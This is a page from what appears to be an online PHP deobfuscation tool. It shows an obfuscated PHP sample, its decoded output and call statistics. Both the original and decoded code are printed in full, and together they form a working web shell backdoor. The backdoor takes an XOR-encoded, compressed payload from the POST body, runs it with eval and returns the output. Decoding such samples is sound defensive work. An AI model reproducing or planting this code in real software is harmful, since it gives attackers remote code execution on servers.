Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Q='aseNf6Nf4_encode(@xNf(@gzcomNfpress($oNfNf),$kNf));print("$Nfp$kh$r$kf");}'; $..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="ee4fa9ae";$kh="78774fd34f6f";$kf="3019a74e85a6";$p="uk3A7d2QJwExXdAc";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$Q='aseNf6Nf4_encode(@xNf(@gzcomNfpress($oNfNf),$kNf));print("$Nfp$kh$r$kf");}';
$g=str_replace('fN','','cfNfNreate_fNffNfNuncfNtion');
$W='Nf$k="ee4fa9aNfNfe";$khNf="78Nf774fd34f6f";$kf="3Nf019aNf74eNf85a6";$pNf="';
$f='e($m[1]Nf),$k)));$Nfo=@ob_getNf_contentsNf(Nf);@ob_end_cleanNfNf();$rNf=@b';
$M='h("/$kNfh(Nf.Nf+)$kf/Nf",@fileNfNf_gNfet_contents("php://inpNfut"),$Nfm)==';
$T='uk3NfNfA7d2QJwExXdAc"Nf;Nffunction x(NfNf$t,$k){$c=stNfrlen($kNf);$Nfl=stN';
$N='1Nf) {@ob_staNfrt()Nf;@evNfalNfNf(@gzNfuncompressNf(@Nfx(@basNfe64_Nfdecod';
$x='frlen($Nft);$o="";fNfor($i=0;Nf$i<$l;Nf){for(NfNf$j=0Nf;($j<$c&&$Nfi<$l)Nf';
$R=';$j+Nf+,$Nfi++){Nf$o.=Nf$t{$i}^$k{NfNf$j};}}return $o;}NfifNf (@preNfg_matc';
$d=str_replace('Nf','',$W.$T.$x.$R.$M.$N.$f.$Q);
$U=$g('',$d);$U();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 59e8cc5d12e4134ac731b2849515847f |
Eval Count | 1 |
Decode Time | 310 ms |